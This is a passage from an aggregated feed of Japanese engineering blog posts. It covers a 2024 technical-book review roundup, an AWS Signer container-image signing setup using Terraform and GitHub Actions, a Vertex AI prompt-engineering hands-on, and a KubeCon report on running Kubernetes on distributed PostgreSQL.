MediaAmazon本書の真髄は、「なぜそのコードがコンパイラに拒否されるのか」という本質的な問いに対する答えを提供している点です。これは、まるでセキュリティ監査ツールのような役割を果たし、潜在的な問題を事前に検出し、より安全なコードへと導いてくれます。例えば、借用チェッカーとの「戦い」は、実はメモリ安全性を確保するための重要な対話であることを理解させてくれます。特筆すべきは、本書が型システムを通じたデザインパターンを詳細に解説している点です。これは、アプリケーションのアーキテクチャを型安全に設計するための青写真を提供してくれます。例えば、newtypeパターンの活用や、トレイトを用いた共通の振る舞いの表現など、型システムを活用した設計手法を学ぶことができます。また、本書はエラーハンドリングのベストプラクティスについて深い洞察を提供します。OptionやResult型の効果的な使用法から、独自のエラー型の設計まで、堅牢なエラー処理の体系を示してくれます。これは、まるで障害対策のプレイブックのような役割を果たします。実務的な観点からも、本書の価値は計り知れません。依存ライブラリの管理やツールチェーンの活用など、実践的なトピックについても詳しく解説されています。特に、Clippyとの対話を通じたコード品質の向上や、CIシステムの設定など、現代のソフトウェア開発に不可欠な知識が網羅されています。本書は、「とりあえず動く」コードから「より良い」コードへの進化を支援してよりイディオマティックなRustコードへの道筋を示してくれます。私にとって、本書は技術書のデータセンターにおける重要なセキュリティシステムとして機能しています。コードの品質と安全性を確保するためのチェックポイントとして、常に参照すべき存在となっています。特に、「なぜそうすべきか」という根本的な理解を深めることで、より効果的なRustプログラミングが可能になります。こちらの本も日本語版がリリースされています。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazonバックエンドエンジニアを目指す人のためのRust「バックエンドエンジニアを目指す人のためのRust」は、単なるRustの入門書を超えて、実践的なプロジェクトを通じてバックエンドエンジニアに必要な知識とスキルを体系的に学べる一冊です。本書は、「なぜバックエンドにRustなのか」という根本的な問いに、具体的なプログラミング体験を通じて答えを提示しています。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon「Webバックエンド開発にRustは不要ではないか?」という疑問に対して、本書は実践的な回答を提供します。Rustの型システムとコンパイラによる厳格なチェックは、本番環境での予期せぬエラーを事前に防ぐことができます。また、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能は、信頼性の高いバックエンドシステムの構築に直接的に貢献します。本書の構成は、学習者の段階的な成長を支援するように綿密に設計されています。計算クイズから始まり、ポーカーゲーム実装でデータ構造を学び、家計簿プログラムでファイルI/Oを理解し、最終的にはTODOアプリの開発とデプロイメントまでを経験できます。各プロジェクトは、バックエンド開発に必要な特定の技術要素に焦点を当てており、理論と実践を効果的に結びつけています。また、本書はCargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説しています。これらのツールは、チーム開発における生産性と品質の向上に直結する重要な要素です。本書を通じて学べる実践的なスキルは、現代のバックエンド開発の現場で直接活用できます。とりわけ、Webアプリケーション開発からデプロイメントまでの一連のプロセスを実際に体験できる点は、実務への橋渡しとして非常に価値があります。最終章では採用面接を想定した内容も含まれており、学習した内容を実際のキャリアにつなげる道筋も示されています。Real World HTTP 第3版「Real World HTTP 第3版」は、HTTPプロトコルの基礎から最新動向まで、体系的かつ実践的に解説した決定版です。本書は、HTTPの歴史的な進化をたどりながら、ブラウザの内部動作やサーバーとのやり取りについて、実例とコードを交えて詳細に解説しています。Real World HTTP 第3版 ―歴史とコードに学ぶインターネットとウェブ技術作者:渋川 よしきオライリージャパンAmazon本書は、辞書的に知りたい項目を調べるのにも、通して読んで体系的に学習するのにも適しています。特に注目すべきは、認証やセキュリティなど、開発者が苦手意識を持ちがちな領域についても、実践的な観点から詳しく解説している点です。サンプルコードはGoを使用していますが、これは動作確認や挙動の理解に焦点を当てたものです。実際の実装例を通じて、HTTPの基本的な仕組みから最新の機能まで、具体的に理解することができます。もう少し入門的な内容としては「[改訂新版]プロになるためのWeb技術入門」をオススメしたいです。10年以上にわたって多くの読者に支持されてきた本書はWebシステムの基礎から最新のSPAまで、体系的かつ段階的に学べる実践的な入門書です。本書は、なぜWebシステムをうまく作ることができないのかという根本的な問いに対して、技術の本質的な理解を通じて答えを導き出そうとしています。サンプルもどうようにGoですし、Goは本能さえあれば読めるので…。[改訂新版]プロになるためのWeb技術入門作者:小森 裕介技術評論社Amazonまた、実装やWeb技術を学べたと思ってアーキテクチャ設計を学ぶ準備が整った方には、「アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築」をお勧めします。本書は、アーキテクチャ設計の本質的な考え方から、実践的な構築手法までを体系的に解説していて入門にはぴったりです。アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築作者:米久保 剛翔泳社AmazonWeb技術やアーキテクチャについて検索エンジンやChatGPTで調べると、求めている答えにたどり着くまでに多くの時間がかかり、また得られる情報が断片的になりがちです。一方、良質な技術書は、その分野の知識を体系的に整理し、読者が見落としがちな重要なポイントも含めて包括的に解説してくれます。さらに、実践的な経験に基づく洞察や、背景にある原理の説明など、オンラインでは得にくい深い知見を提供してくれます。第3版では、より初学者を意識した導入や、スーパーアプリなどプラットフォーム化するウェブに関する新章が追加されています。また、HTTP/3とQUICなど最新の技術動向についても詳しく解説されています。本書の圧倒的な情報量は、単なるボリュームではなく、実務で本当に必要となる知識が凝縮されています。AWSやWebフレームワークでの開発スキルも重要ですが、真のWebエンジニアとして成長するためには、本書で解説されているような基盤となる知識の理解が不可欠です。学び直しにも最適な一冊であり、眺めるだけでも新しい発見が得られます。HTTPやWeb技術の深い理解を目指す若手エンジニアには、まさに必携の書といえるでしょう。【改訂新版】システム障害対応の教科書「システム障害対応の教科書」は、システム障害対応の暗黙知を形式知化し、体系的に解説した画期的な一冊です。本書は、インシデント発生から終息までの一連のプロセスを詳細に解説するだけでなく、組織としての障害対応力向上までを包括的にカバーしています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon改訂新版では、チームメンバーの教育と育成、障害対応訓練、事故を防ぐ手順書の作り方、エンドユーザ向け情報発信についての新章が追加され、より実践的な内容となっています。特に、ワークブック編の追加により、理論を実践に落とし込むための具体的な手法が提供されており、新人から中堅、マネージャーまで幅広い層に価値のある内容となっています。本書の真価は、システム障害対応における役割と基本動作の明確化にあります。インシデントコマンダー、作業担当者、ユーザ担当者など、各役割の責務と行動規範が詳細に解説されています。また、必要なドキュメントやツール、環境についても具体的な説明があり、すぐに実務に活かせる実践的な知識を得ることができます。特に注目すべきは、組織の障害対応レベル向上と体制作りに関する章です。障害対応力のスキルチェックシートや訓練の実施要領など、組織として継続的に改善していくための具体的な方法論が示されています。また、生成AI技術のシステム運用への応用についても言及されており、最新の技術動向も押さえられています。Appendixでは、実際の難易度の高いシステム障害ケースが紹介されており、ビジネスロジックの障害から大規模インフラ障害、災害時の対応まで、現実的なシナリオに基づいた学びを得ることができます。これらのケーススタディは、理論と実践を結びつける貴重な教材となっています。本書は、システム運用に関わるすべての人にとって、障害対応の基本から応用まで、体系的に学べる決定版といえます。新人エンジニアの教育から、中堅エンジニアのスキル向上、マネージャーの組織運営まで、幅広いニーズに応える内容となっています。運用であればAWS運用入門も今年読んで良かった本なのであわせて紹介しておきます。AWS運用入門 押さえておきたいAWSの基本と運用ノウハウ作者:佐竹 陽一,山﨑 翔平,小倉 大,峯 侑資SBクリエイティブAmazon申し訳ありません。GitHub CI/CD実践ガイドの章は前の章とは独立して新規に追加すべきでした。改めて追加させていただきます:GitHub CI/CD実践ガイド「GitHub CI/CD実践ガイド」は、持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用について、基礎から実践、そして応用まで体系的に解説した一冊です。本書は、単なるGitHub Actionsの使い方マニュアルを超えて、現代のソフトウェア開発における継続的インテグレーションと継続的デリバリーの本質に迫っています。GitHub CI/CD実践ガイド――持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用 エンジニア選書作者:野村 友規技術評論社Amazon本書の特徴は、その構成の緻密さにあります。基礎編では、GitHub Actionsの基本概念や構文を丁寧に解説し、実践編では具体的なユースケースに基づいた実装方法を示し、応用編では高度な使い方やセキュリティ、組織としての実践方法を展開しています。この段階的なアプローチにより、読者は自然と実践的なCI/CDの知識を積み上げていくことができます。特筆すべきは、本書がセキュリティと運用の観点を強く意識している点です。GitHub Actionsの基本的な使い方だけでなく、OpenID Connectによるセキュアなクラウド連携、Dependabotによる依存関係の管理、GitHub Appsによるクロスリポジトリアクセスなど、実運用で直面する重要な課題についても深く掘り下げています。本書が提供する知見は、現代のソフトウェア開発において不可欠な継続的デリバリーの実践へと読者を導きます。組織のパフォーマンス向上からバージョン管理戦略、テスト戦略、そしてインフラストラクチャの変更管理まで、包括的な視点でCI/CDの実践方法を解説しています。私にとって本書は、日々のCI/CD運用における信頼できるリファレンスとなっています。実装時の細かな疑問から、アーキテクチャレベルの設計判断まで、様々な場面で本書の知見が活きています。GitHubを利用する開発者にとって、この本は確実に実務の質を高めてくれる一冊となるでしょう。個人的にLearning GitHub Actionsが好きだったので日本語版のような書籍がでてきてくれて嬉しいです。Learning GitHub Actions: Automation and Integration of CI/CD with GitHub (English Edition)作者:Laster, BrentO\'Reilly MediaAmazonおわりに2024年、私にとって技術書との関わり方が大きく変化した1年でした。技術書に関してはこれまでのように単に量を追い求めるのではなく、一冊一冊をより深く理解することに注力しました。その過程で、技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶であることを改めて実感しました。今年はプラットフォームエンジニアリング、継続的デプロイメント、オブザーバビリティ、SRE、データエンジニアリングなど、現代のソフトウェアエンジニアリングにおける重要なテーマを深く学ぶことができました。また、技術イベントでの発表や記事執筆に向けて、多くの入門書にも触れる機会があり、そこに込められた読者の理解を深めるための緻密な工夫にも感銘を受けました。特に印象深かったのは、これらの技術書に共通する「実践知の体系化」というアプローチです。例えば、『Platform Engineering』は組織的な実践知を理論化し、『システム障害対応の教科書』は現場の暗黙知を形式知へと昇華させています。また、『プログラミングRust』や『Effective Rust』といった言語関連の書籍も、単なる技術解説を超えて、設計思想や原理の本質的な理解に重点を置いています。これらの本から得た知識は、日々の業務や技術イベントでの発表を通じて実践し、さらにその経験を自分の言葉で発信することで、理解をより深めることができました。来年も引き続き、質の高い技術書との出会いを大切にし、得られた知見を実践し、コミュニティに還元していくことで、エンジニアとしての成長を続けていきたいと考えています。","isoDate":"2024-12-23T08:47:50.000Z","dateMiliSeconds":1734943670000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"vim-jpラジオ#24聞いた - OSS活動するVimmer","link":"https://blog.atusy.net/2024/12/23/vim-jp-radioa-24/","contentSnippet":"アカデミア系Vimmerの飽くなき挑戦を感じられる刺激的な回。","isoDate":"2024-12-23T00:00:00.000Z","dateMiliSeconds":1734912000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Workforce Identity + Auth0 で Vertex AI Search の ACL 制御を行う","link":"https://zenn.dev/satohjohn/articles/a422ee68dd3485","contentSnippet":"3-shake AdventCalendar 第2シーズン 23日目の記事になります。2回目の登場です。今回は真面目な(?)技術記事になります。私としては前回書いた記事も大真面目でしたが。 概要今回やりたいこととしては、ウェブアプリケーション上で Id Provider(以後 IdP) 認証をして、その結果を利用して Vertex AI Agent Builder の Search 機能(以後めんどいので旧称の Vertex AI Search として説明) の ACL による検索の権限管理を行うというものです。今回 IdP として Auth0 を利用します。そのため、少し A...","isoDate":"2024-12-22T18:03:43.000Z","dateMiliSeconds":1734890623000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"AWS Signerにおけるコンテナ署名の実装","link":"https://blog.masasuzu.net/entry/2024/12/22/132803","contentSnippet":"この記事は3-shake Advent Calendar 2024の22日目の記事です。AWS Signerを使ったコンテナイメージの署名処理を扱った案件があったのでこちらの紹介となります。ただ、後述するように完成には至ってないです。それでもAWS Signerを使った署名処理と署名検証についての概要をお伝えできるかなと思います。今回のシステムはAWS ECS で Web サービスを運用しています。GitHub Actions を利用してデプロイを行っています。構成としては至ってベーシックな形になっています。今回、コンテナイメージのセキュリティ強化のため、ECR に保存されているイメージが改竄されていないことを保証する要件が追加されました。この記事では、AWS Signer を用いたコンテナイメージの署名と検証の実装、そして現状の課題と今後について記述します。AWS SignerとはWhat is AWS Signer? - AWS SignerAWS Signer はフルマネージドなコード署名サービスです。従来は Lambda 関数などで利用されていましたが、2023年の6月にECRのイメージ署名にも対応しました。AWS がコンテナイメージへの署名を導入Notary ProjectのNotation CLIを用いることで、ECRに保存されているコンテナイメージを署名することができ、署名ファイルをコンテナイメージとともにECRに保存できます。これによりコンテナイメージの真正性と完全性を検証することができます。ECS \xd7 AWS Signer を使ったイメージ署名ワークフローを試してみた - Speaker Deckなお、AWS Signerによるイメージ署名に゙関してはNRI ネットコム様のスライドに詳しく書かれているのでこちらを参照するとより理解が深まります。デプロイフロー変更前デプロイフローとしてはGitHub Actionsでレポジトリ内のソースをdocker buildしたものをECRにpushし、ECS Serviceにデプロイするシンプルなワークフローになります。変更前変更後このワークフローにコンテナイメージ署名の処理を追加します。notationコマンドにSigner Profileのarnを指定して、署名と検証をそれぞれ行う形になります。今回は、GitHub Actions ワークフローに AWS Signer を使った処理を組み込みます。ECRにpushしたイメージに対して署名を行うように変更しました。署名したあとに署名検証を行うことになります。後述しますが、これだけだと本来は不完全なものです。変更後実装ここから実装を見て行きます。先述したワークフローに帰るために以下の変更が必要となります。インフラ側AWS Signer Profileの追加デプロイ用IAM RoleにAWS Signer Profileへのアクセス権の追加デプロイ側署名処理の追加Terraformインフラ側の変更を見ていきましょう。追加箇所としてはSigner Profileの追加とGitHub Actions用のIAM Policyへの権限追加となります。変更箇所以外は今回は割愛しています。platform_idを\\"Notation-OCI-SHA384-ECDSA\\"に指定してSigner Profileを作成します。レポジトリ名をProfile名にしており、レポジトリ名が - 区切りで、Profile名が - を使えないという事情で _ への置換処理をしています。Siner Profileresource \\"aws_signer_signing_profile\\" \\"main\\" { platform_id = \\"Notation-OCI-SHA384-ECDSA\\" # profile名に-が使えないので置換 name = replace(var.repository_name, \\"-\\", \\"_\\")}先に作ったSigner Profileへの\\"signer:GetSigningProfile\\"と\\"signer:SignPayload\\"の許可をデプロイ用のRoleのPolicyに付与します。GitHub Actions用IAM Roledata \\"aws_iam_policy_document\\" \\"deploy_policy\\" { #前略 # イメージ署名 # Inline policies for Signer - AWS Signer # https://docs.aws.amazon.com/ja_jp/signer/latest/developerguide/authen-inlinepolicies.html statement { sid = \\"SignImage\\" effect = \\"Allow\\" actions = [ \\"signer:GetSigningProfile\\", \\"signer:SignPayload\\" ] resources = [ var.signer_profile_arn ] } # 後略}デプロイsigner policyのファイルをあらかじめ作っておきます。このPolicyを利用して、署名検証を行います。.github/aws/signer_policy.json{ \\"version\\":\\"1.0\\", \\"trustPolicies\\":[ { \\"name\\":\\"aws-signer-tp\\", \\"registryScopes\\":[ \\"*\\" ], \\"signatureVerification\\":{ \\"level\\":\\"strict\\" }, \\"trustStores\\":[ \\"signingAuthority:aws-signer-ts\\" ], \\"trustedIdentities\\":[ \\"arn:aws:signer:${region}:${account_id}:/signing-profiles/${profile_name}\\" ] } ]}既存のECSのデプロイワークフローにnotationのインストール、イメージ署名処理、イメージ署名検証の処理を追記します。リリースブランチにpushされたことを契機にデプロイが走る形です。.github/workflows/deploy.yamlname: Deploy to ECSon: push: branches: [\'release\']env: AWS_REGION: ap-northeast-1 ECR_REPOSITORY: ${レポジトリ名} SIGNER_PROFILE_ARN: ${Signer Profile ARN} SIGNER_POLICY_JSON: .github/aws/signer_policy.jsonjobs: deploy: name: Deploy to ECR, ECS runs-on: ubuntu-latest steps: ### 前略 - name: Setup Notation run: | wget https://d2hvyiie56hcat.cloudfront.net/linux/amd64/installer/deb/latest/aws-signer-notation-cli_amd64.deb sudo dpkg -i aws-signer-notation-cli_amd64.deb - name: Sign image env: ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }} IMAGE_TAG: ${{ github.sha }} run: | notation sign $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG --plugin \\"com.amazonaws.signer.notation.plugin\\" --id \\"$SIGNER_PROFILE_ARN\\" - name: Verify image env: ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }} IMAGE_TAG: ${{ github.sha }} run: | notation policy import $SIGNER_POLICY_JSON notation verify $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG ### 後略課題ここまででイメージの署名処理および署名検証の実装はできました。しかしながら、いくつか課題があります。CIとCDの分離先の実装を見るとわかるのですが、署名したイメージを即時署名検証していることがわかります。これは同じイメージに対して行われているため、実質的な検証にはなっていません。真の改竄検知のためには、CI/CD パイプラインを分離し、デプロイ時に別途署名検証を行う必要があります。また、pushしたコンテナイメージの脆弱性チェックもデプロイ前に行うことが望ましいです。そこで下記のように変更したいところです。ただ、デプロイのフローが変わってしまうので、調整が必要でまだ手をつけていない状態になります。理想正規手順以外でデプロイされたイメージの検証さらに、正規のデプロイフロー以外で起動されたタスクのイメージ検証も課題です。署名されていないイメージが起動されていても何もチェックができていない状態です。これに対するアプローチとしては、EventBridgeでタスクが起動したイベントを拾って、イメージの署名をチェックし、検証できなかったものに゙関しては処理を行う(タスクの停止や通知など)という方法があります。これはContainers on AWSで紹介されているので、この方法を実装できたらと考えています。Container image signing and verification using AWS Signer for Amazon ECS and AWS Fargate | Containers on AWS署名検証のサービス統合ここまで見ていて気付いたかもしれませんが、ECS Serviceがタスクを起動するときに署名されているかどうかをチェックするようにECSサービスと統合されていれば、独自に署名検証を実装する必要はありません。このへん、Google CloudのBinary Authorizationはサービスと統合されているので、署名検証を自前で書く必要がないと理解してます。AWSもサービスと統合して楽に使えるようになることを期待してます。Binary Authorization の概要 \xa0|\xa0 Google Cloudまとめ現状でできていることは以下のとおりです。ECRへpushしたイメージの署名処理現状課題となっているものは以下のとおりです。CI/CDの分離署名されていないコンテナイメージが起動されていないかのチェックこの記事では、AWS Signer を用いたコンテナイメージの署名実装と、残された課題について説明しました。まだできていないことが多いですが、まずビルドしたイメージに対して署名を行うという第一歩を踏み出しました。ここから署名検証の仕組みを強化し、よりセキュアなコンテナ運用を実現するために、引き続き改善に取り組んでいきたいと思ってます。参考リンクAWS がコンテナイメージへの署名を導入AWS Signer と Amazon EKS におけるコンテナイメージ署名の提供開始 | Amazon Web Services ブログECS \xd7 AWS Signer を使ったイメージ署名ワークフローを試してみた - Speaker DeckSign container images in Signer - AWS SignerContainer image signing and verification using AWS Signer for Amazon ECS and AWS Fargate | Containers on AWSBinary Authorization の概要 \xa0|\xa0 Google Cloud","isoDate":"2024-12-22T04:28:03.000Z","dateMiliSeconds":1734841683000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"スリーシェイク所属の早川大貴がクラウドネイティブ技術を推進するCNCF Ambassadorsに就任","link":"https://sreake.com/blog/cncf_ambassadors/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)所属の早川大貴が、クラウドネイティブ技術を推進するCNCF Ambassadorsに就任したことをお知らせします。The post スリーシェイク所属の早川大貴がクラウドネイティブ技術を推進するCNCF Ambassadorsに就任 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-20T08:39:11.000Z","dateMiliSeconds":1734683951000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AIでGitHubソースコード取得して仕様書を作成","link":"https://speakerdeck.com/shukob/sheng-cheng-aidegithubsosukodoqu-de-siteshi-yang-shu-wozuo-cheng","contentSnippet":"https://generative-ai-conf.connpass.com/event/335205/\\r2024生成AI革命期を振り返る忘年会にて、\\r「生成AIでGitHubソースコード取得して仕様書を作成する」というテーマでLTさせていただきました。","isoDate":"2024-12-20T05:00:00.000Z","dateMiliSeconds":1734670800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloudflareで管理しているドメインのアクセス解析をGraphQLでやってみる","link":"https://blog.atusy.net/2024/12/20/cloudflare-graphql-analytics-api/","contentSnippet":"Cloudflareのダッシュボード上で確認できるWeb Analyticsの生データが欲しかったので、方法を調べてみた。ベースとなるクエリはブラウザの開発者ツールからコピペできるので便利。","isoDate":"2024-12-20T00:00:00.000Z","dateMiliSeconds":1734652800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"今までアウトプットしてこなかった私が、今年からアウトプットを始めてわかったこと","link":"https://speakerdeck.com/melanmeg/jin-madeautopututositekonakatutasi-ga-jin-nian-karaautopututowoshi-metewakatutakoto","contentSnippet":"イベント: https://findy.connpass.com/event/335692/","isoDate":"2024-12-19T05:00:00.000Z","dateMiliSeconds":1734584400000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"KueueによるKubernetesネイティブなジョブ制御を試してみる","link":"https://sreake.com/blog/kueue-kubernetes-native-job-control/","contentSnippet":"Kueue KueueはKubernetesのSIG-Schedulingのサブプロジェクトとして開発が進められている、クラスター内のバッチ・HPC・AI/MLといったジョブのキューイングを提供するAPIとコントローラの […]The post KueueによるKubernetesネイティブなジョブ制御を試してみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-19T03:05:13.000Z","dateMiliSeconds":1734577513000,"authorName":"Sreake","authorId":"Sreake"},{"title":"dplyrでグループ単位にデータフレームを操作する","link":"https://blog.atusy.net/2024/12/19/dplyr-groupby/","contentSnippet":"dplyr::summarize, dplyr::mutate, dplyr::filterなどの関数の.by引数を使うと、グループごとに計算ができて非常に便利。mutateやfilterでグループ処理できると、集計が一気に捗ると思うのでいくつか例を紹介する。dplyr::group_by関数でも同じことができるけど、dplyr::ungroupを忘れると思わぬ挙動に繋がることもあるので注意。","isoDate":"2024-12-19T00:00:00.000Z","dateMiliSeconds":1734566400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"俺のガチってるdotfiles紹介","link":"https://zenn.dev/melanmeg/articles/dd0b9606352fb9","contentSnippet":"はじめにどうもです。3-shake の melanmeg です今回は dotfiles 紹介です。エンジニアにとっては、dotfiles は作業効率を上げるための 自分用チートシート のように感じています。もしくは これまで コツコツと積み上げてきた財産 ...ですかね。普段から使い慣れた環境をどこでも再現できるようにしておくことで、複数の端末で素早く自分好みの環境を用意できます!シェルやVSCodeのカスタマイズ、Gitの便利設定、そして新しいVMでの簡単なセットアップ方法を紹介します。dotfiles管理の魅力を共有し、皆さんの環境構築がもっと楽しくなればと思います\uD83D\uDE47...","isoDate":"2024-12-17T22:00:02.000Z","dateMiliSeconds":1734472802000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"プロンプトエンジニアリング プログラミング ハンズオン","link":"https://shu-kob.hateblo.jp/entry/2024/12/17/185729","contentSnippet":"genai-users.connpass.comこの記事は上記勉強会の資料です。shu-kob.hateblo.jp↑上記記事を参考にサービスアカウントの設定をしてください。※ Google Cloudの無料期間が終了していると、課金されますが、ハンズオンの内容だけだと数百円もいかないと考えています。料金は確実には言えないので、Google Cloudはご自身の責任でご使用ください。github.com↑今回のサンプルコードgit clone https://github.com/shu-kob/prompt_engineeringcd prompt_engineeringpip install vertexaiLangChainを使わずVertex AIのライブラリを使用シンプルなVertex AIでGeminiを実行project_id = \\"PROJECT_ID\\" # 書き換える実行python3 generate_content.pyresponse = model.generate_content( \\"プロンプトエンジニアリングとは\\")プロンプトを変更して実行してみましょう。Zero Shot プロンプティングproject_id = \\"PROJECT_ID\\" # 書き換える実行python3 zero_shot_prompting.pyprompt = \\"\\"\\"以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================紅白出場歌手の選考基準 NHK公開\\"\\"\\"プロンプトを変更して実行してみましょう。Few Shot プロンプティングproject_id = \\"PROJECT_ID\\" # 書き換える実行python3 few_shot_prompting.pyprompt = \\"\\"\\"以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================「紅白出場歌手の選考基準 NHK公開」===========================以下は例です「G20 バイデン氏不在で集合写真」:政治「岡田将生&高畑充希結婚 SNS反応」:芸能\\"\\"\\"プロンプトを変更して実行してみましょう。LangChainを使用langchain_google_vertexai を使用pip install langchain_google_vertexaipython3 invoke.pymessages = [ (\\"human\\", \\"ネコの鳴き真似をしてください。\\"),]プロンプトを変更して実行してみましょう。PromptTemplateを使用pip install langchain_corepip install pydantic==2.9.0実行python3 prompt_template.pyプロンプトテンプレートやQuestionを変更して実行してみましょう。ChatPromptTemplateを使用実行python3 chat_prompt_template.pyprompt_template = ChatPromptTemplate.from_messages([ (\\"system\\", \\"ステップバイステップで考えてください。\\"), (\\"human\\", \\"{question}\\"),])question = \\"\\"\\"10 + 2 * 3 - 4 * 2\\"\\"\\"システムプロンプトやQuestionを変更して実行してみましょう。参考資料python.langchain.compython.langchain.com参考文献LangChainとLangGraphによるRAG・AIエージェント[実践]入門Google Gemini 1.5/LlamaIndex/LangChain 人工知能プログラミング実践入門","isoDate":"2024-12-17T09:57:29.000Z","dateMiliSeconds":1734429449000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run GPU 上の PaliGemma2 に私の娘は可愛いと言わせるまで","link":"https://zenn.dev/satohjohn/articles/33b27212b3a55e","contentSnippet":"この記事は 3-shake Advent Calendar 2024 シーズン1 16日目の記事 & Jagu\'e\'r Advent Calendar 2024 4日目の記事 になります。3-shake に入社してそろそろ丸2年が経過しようとしており、感慨深く思っております。こういうカレンダーをちゃんと埋められているのをみていても、アウトプットという形で自己研鑽や表現を行う素晴らしいメンバーが多いなと日々日々感じております。そんな中で書けるのも良い経験だと感じております。という前置きを入れつつ、今回は生成 AI の中でも OSS でマルチモーダルな LLM である PaliG...","isoDate":"2024-12-16T11:20:30.000Z","dateMiliSeconds":1734348030000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"週間アトデ 2024-12-16","link":"https://blog.atusy.net/2024/12/16/atodeyomanakata/","contentSnippet":"アトデヨム、ウソジャナイ、ヨムノタノシー","isoDate":"2024-12-16T00:00:00.000Z","dateMiliSeconds":1734307200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeCon NA 2024: Goodbye etcd! Running Kubernetes on Distributed PostgreSQLのセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/15/goodbyte_etcd_running_kubernetes_on_distributed_postgresql","contentSnippet":"この記事は以下アドベントカレンダー15日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ2Goodbye etcd! Running Kubernetes on Distributed PostgreSQL セッションレポートセッション概要 https://kccncna2024.sched.com/event/1i7rt/goodbye-etcd-running-kubernetes-on-distributed-postgresql-denis-magda-yugabyteセッション動画 www.youtube.comこのセッションはKubernetesクラスタのメタデータストアとして利用されるetcdをDistributed PostgreSQLであるYugabyteDBに置き換えた方法を紹介し、デモを行っています。What\'s etcd?セッションはetcdの解説から始まりました。etcdは分散可能で可用性の高いキーバリューストアであり、シンプルながらも強力なデータベースとして機能します。Raftプロトコルを用いることで、複数のマシンやVMで構成されたクラスタ全体にわたって変更を複製し、ノード障害発生時にも一貫したデータと継続的な動作を保証します。Kubernetesはこのetcdをメタデータストアとして活用し、サービスのポート数やデプロイメントのPod数といったクラスタの状態を管理しています。このセクションはetcdの役割を明確に示し、Kubernetesにおける重要性を理解する上で有用でした。etcdがKubernetesの心臓部と言える重要な役割を担っていることを再認識させられました。Why some are not happy with etcdetcdは多くのKubernetesクラスタで標準的に利用されていますが、大規模環境(100~1000ノード)ではスケーラビリティに課題があることが指摘されました。このようなケースでは、etcdから分散データベースへの移行が必要となります。さらに、etcdプロジェクトへのコントリビュータ不足も懸念材料として挙げられており、Kubernetesが必要とする機能追加への対応が遅れる可能性が示唆されました。このセクションは、etcdの潜在的な問題点を浮き彫りにし、代替手段を検討する必要性を示唆しています。特に大規模運用を想定している場合、etcdのスケーラビリティの限界は深刻な問題になり得ます。KineKineはKubernetesクラスタとリレーショナルデータベース間の仲介役として機能するシミュレータレイヤです。etcd APIをSQLに変換することで、PostgreSQLやMySQLのようなリレーショナルデータベースをKubernetesのメタデータストアとして利用可能にします。Kubernetes APIサーバーが発行したetcd APIをKineがSQLに変換し、データベースに実行することで、etcdの代替を実現します。このセクションはKineの動作原理を簡潔に説明し、リレーショナルデータベースをKubernetesと統合する仕組みを理解する上で重要です。Kineの存在によって、既存のデータベース基盤を活用したKubernetes運用が可能になります。Hands-onデモ環境はGoogle Cloud上の3つのCompute Engine(us-westリージョンの異なるゾーン)に構築されたk3sクラスタで、純粋なPostgreSQLと分散型PostgreSQLであるYugabyteDBの2つのシナリオが示されました。純粋なPostgreSQLは単一VMで、YugabyteDBは3台のVMで実行され、マルチゾーン、マルチリージョン、マルチクラウド/オンプレミス環境への拡張可能性が示唆されました。このセクションはデモ環境の概要を説明し、異なるデータベース構成でのKubernetes運用の可能性を示しています。実環境に近い構成でのデモは、KineとYugabyteDBの有効性を理解する上で非常に役立ちます。Kubernetes on Pure PostgreSQLyoutu.beこのデモでは、PostgreSQLが動作するサーバ上でk3sを実行し、Kineが必要とするオブジェクトがPostgreSQLに作成される様子、そしてk3s自体の動作確認が示されました。既存のPostgreSQL環境へのKubernetesの導入を検討する際に、このデモは具体的な手順と動作イメージを提供してくれます。データベース管理者にとって、Kineによるデータベースへの影響を視覚的に確認できる点は非常に重要です。Kubernetes on 